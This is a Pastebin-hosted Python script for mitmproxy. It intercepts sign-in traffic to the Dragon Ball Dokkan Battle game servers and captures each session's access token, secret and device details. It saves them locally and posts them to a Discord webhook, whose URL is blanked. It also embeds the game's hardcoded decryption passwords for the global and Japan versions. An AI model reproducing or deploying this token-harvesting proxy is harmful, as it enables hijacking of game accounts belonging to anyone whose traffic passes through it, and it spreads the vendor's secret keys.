Baoulettes

Dokkan Auto Token to discord

Feb 20th, 2022
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 7.05 KB | None | 0 0
  1. from mitmproxy import http
  2. from mitmproxy.proxy import ProxyConfig, ProxyServer
  3. from mitmproxy.master import Master
  4. from mitmproxy.options import Options
  5. from mitmproxy import proxy, options
  6. from mitmproxy.tools.dump import DumpMaster
  7. from Cryptodome.Cipher import AES
  8. from Cryptodome.Hash import MD5, SHA256
  9. from Cryptodome.Hash.HMAC import HMAC
  10. from Cryptodome.Protocol.KDF import PBKDF1
  11. from Cryptodome.Util import Padding
  12. from Cryptodome.Util.Padding import pad
  13. import socket
  14. import re
  15. import urllib.request, json
  16. import os
  17. import requests
  18. import os.path
  19. from datetime import datetime
  20. from mitmproxy.net.http.http1.assemble import *
  21. WebHookURL = "https://discordapp.com/api/webhooks/------------------"
  22. WebHookName =   "#21"
  23. BLOCK_SIZE = 16  # Bytes
  24. APP_PATH = os.path.dirname(os.path.realpath(__file__))
  25. SaveLoc = APP_PATH+'/Temp/'
  26. pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE
  27.         - len(s) % BLOCK_SIZE)
  28. unpad = lambda s: s[:-ord(s[len(s) - 1:])]
  29.  
  30. def decrypt_sign(data, ver_global: bool):
  31.     # print("---- Decrypt_sign - Begin")
  32.     dec_data = {}
  33.     if None != dec_data:
  34.         dec_data = None
  35.     SALT_LEN = 8
  36.     KEY_LEN = 32
  37.     IV_LEN = 16
  38.     ITERATIONS = 1
  39.     HASH_ALGO = MD5
  40.     if ver_global == True:
  41.         # print("------ Global - version - decrypt_sign")
  42.         password = 'iyMgxvi240Smc5oPikQugi0luUp8aQjcxMPO27n7CyPIIDZbfQbEgpWCYNHSTHB'
  43.     else:
  44.         # print("------ Japan - version - decrypt_sign")
  45.         password = '2nV6eyINqhT6iDmzack9fykEAQgFkDvABIHjxmMY3qBENWOlnGtzkOHXRWhrIztK'
  46.     data = base64.b64decode(data)
  47.     salt = data[:SALT_LEN]
  48.     #print("sign_key_iv")
  49.     sign_key_iv = sign_key_iv_buffer = HASH_ALGO.new(password.encode() + salt).digest()
  50.     while len(sign_key_iv) < KEY_LEN + IV_LEN:
  51.         #print("sign_key_iv_buffer")
  52.         sign_key_iv_buffer = HASH_ALGO.new(sign_key_iv_buffer + password.encode() + salt).digest()
  53.         sign_key_iv += sign_key_iv_buffer
  54.     #print("sign_key")
  55.     sign_key, sign_iv = sign_key_iv[:KEY_LEN], sign_key_iv[KEY_LEN:]
  56.     #print("cipher")
  57.     cipher = AES.new(sign_key, AES.MODE_CBC, sign_iv)
  58.     #print("Padding.unpad (dec)")
  59.     try:
  60.         dec_data = Padding.unpad(cipher.decrypt(data[SALT_LEN:]), AES.block_size)
  61.     except Exception as e:
  62.         print(e)
  63.     # print("---- Decrypt_sign - End")
  64.     return json.loads(dec_data)
  65. def get_key_and_iv(
  66.     password,
  67.     salt,
  68.     klen=32,
  69.     ilen=16,
  70.     msgdgst='md5',
  71.     ):
  72.     mdf = getattr(__import__('hashlib', fromlist=[msgdgst]), msgdgst)
  73.     password = password.encode('ascii', 'ignore')  # convert to ASCII
  74.     try:
  75.         maxlen = klen + ilen
  76.         keyiv = mdf(password + salt).digest()
  77.         tmp = [keyiv]
  78.         while len(tmp) < maxlen:
  79.             tmp.append(mdf(tmp[-1] + password + salt).digest())
  80.             keyiv += tmp[-1]  # append the last byte
  81.         key = keyiv[:klen]
  82.         iv = keyiv[klen:klen + ilen]
  83.         return (key, iv)
  84.     except UnicodeDecodeError:
  85.         return (None, None)
  86. def find(key, dictionary): #used to print all value from desired key (work with nested)
  87.     for k, v in dictionary.items():
  88.         if k == key:
  89.             yield v
  90.         elif isinstance(v, dict):
  91.             for result in find(key, v):
  92.                 yield result
  93.         elif isinstance(v, list):
  94.             for d in v:
  95.                 if isinstance(d, dict):
  96.                     for result in find(key, d):
  97.                         yield result    
  98. class Addon(object):
  99.     def __init__(self):
  100.         pass
  101.     def request(self, flow: http.HTTPFlow) -> None:
  102.         pass
  103.     def response(self, flow: http.HTTPFlow) -> None:
  104.         ShowAuth = re.search('.*\/auth/sign_in', flow.request.pretty_url)
  105.         if None != ShowAuth:
  106.             print('Authentification')
  107.             PacketPath = APP_PATH;
  108.             json_data_req = json.loads(flow.request.text)
  109.            
  110.             if os.path.exists(PacketPath+'/Token_'+flow.request.host+'.txt') :
  111.                 print('Deleted older Token file.')
  112.                 os.remove(PacketPath+'/Token_'+flow.request.host+'.txt')    
  113.             File_Token = open(PacketPath+'/Token_'+flow.request.host+'.txt',"w+")
  114.             if flow.request.host == 'ishin-global.aktsk.com':
  115.                 GameVersion = "Global"
  116.                 FlagType = ":globe_with_meridians: :globe_with_meridians: :globe_with_meridians: :globe_with_meridians:"
  117.             else:
  118.                 GameVersion = "Japan"
  119.                 FlagType = ":flag_jp: :flag_jp: :flag_jp: :flag_jp:"
  120.             print('Server Version -: '+GameVersion)
  121.             print('X-ClientVersion : '+flow.request.headers['X-ClientVersion'])
  122.             print('device ---------: '+json_data_req["user_account"]["device"])
  123.             print('device_model ---: '+json_data_req["user_account"]["device_model"])
  124.             print('os_version -----: '+json_data_req["user_account"]["os_version"])
  125.             json_data_res = json.loads(flow.response.text)
  126.             print('access_token ---: '+json_data_res["access_token"])
  127.             print('secret ---------: '+json_data_res["secret"])
  128.             File_Token.write('Server Version -: '+GameVersion+'\nX-ClientVersion : '+flow.request.headers['X-ClientVersion']+'\ndevice ---------: '+json_data_req["user_account"]["device"]+'\ndevice_model ---: '+json_data_req["user_account"]["device_model"]+'\nos_version -----: '+json_data_req["user_account"]["os_version"]+'\naccess_token ---: '+json_data_res["access_token"]+'\nsecret ---------: '+json_data_res["secret"])
  129.             File_Token.close()
  130.             print('Saved Token to file')
  131.             data = {
  132.                 "content" : FlagType+'```yaml\nServer Version -: '+GameVersion+'\nX-ClientVersion : '+flow.request.headers['X-ClientVersion']+'\ndevice ---------: '+json_data_req["user_account"]["device"]+'\ndevice_model ---: '+json_data_req["user_account"]["device_model"]+'\nos_version -----: '+json_data_req["user_account"]["os_version"]+'\naccess_token ---: '+json_data_res["access_token"]+'\nsecret ---------: '+json_data_res["secret"]+'\n```',
  133.                 "username" : WebHookName
  134.             }
  135.  
  136.             result = requests.post(WebHookURL, json = data)
  137.             try:
  138.                 result.raise_for_status()
  139.             except requests.exceptions.HTTPError as err:
  140.                 print(err)
  141.             else:
  142.                 print("Tokens Posted into discord !".format(result.status_code))
  143.             pass
  144.            
  145. if __name__ == "__main__":
  146.  
  147.     options = Options(listen_port=8999, http2=True)
  148.     m = DumpMaster(options, with_termlog=False, with_dumper=False)
  149.     config = ProxyConfig(options)
  150.  
  151.     m.server = ProxyServer(config)
  152.     m.addons.add(Addon())
  153.  
  154.     try:
  155.         # Create a socket object
  156.         s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  157.         # connect to the server on local computer
  158.         s.connect(("8.8.8.8", 80))
  159.         print('Starting Dokkan Token Discord Bot over IP :', s.getsockname()[0], 'port : 8999')
  160.         m.run()
  161.     except KeyboardInterrupt:
  162.         s.close()
  163.         m.shutdown()
Add Comment
Please, Sign In to add comment